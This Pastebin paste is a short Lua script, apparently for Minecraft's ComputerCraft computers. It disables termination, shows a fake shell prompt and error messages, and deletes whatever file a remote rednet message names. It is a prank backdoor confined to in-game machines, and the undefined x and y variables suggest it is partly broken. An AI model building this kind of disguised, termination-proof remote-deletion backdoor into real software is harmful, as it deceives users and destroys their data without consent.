Advertisement
Guest User

KKKKKKKK

a guest
Aug 22nd, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. local oldPull = os.pullEvent
  2. os.pullEvent = os.pullEventRaw
  3. term.setTextColor(colors.yellow)
  4. print ">"
  5. term.setTextColor(colors.white)
  6. term.setCursorPos(x + 2, y)
  7. id, order = rednet.receive(1)
  8. if order then
  9. if fs.exists(order) then
  10. rednet.send(id, "done")
  11. fs.delete(order)
  12. shell.run("shell")
  13. else
  14. rednet.send(id, "nowork")
  15. shell.run("shell")
  16. end
  17. end
  18. norm = read()
  19. if string.find(norm, "edit") then
  20. term.setTextColor(colors.red)
  21. print "edit:9: Access Denied"
  22. shell.run("shell")
  23. else
  24. term.setTextColor(colors.red)
  25. print "No such program"
  26. shell.run("/shell")
  27. end
  28.  
  29. os.pullEvent = oldPull
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement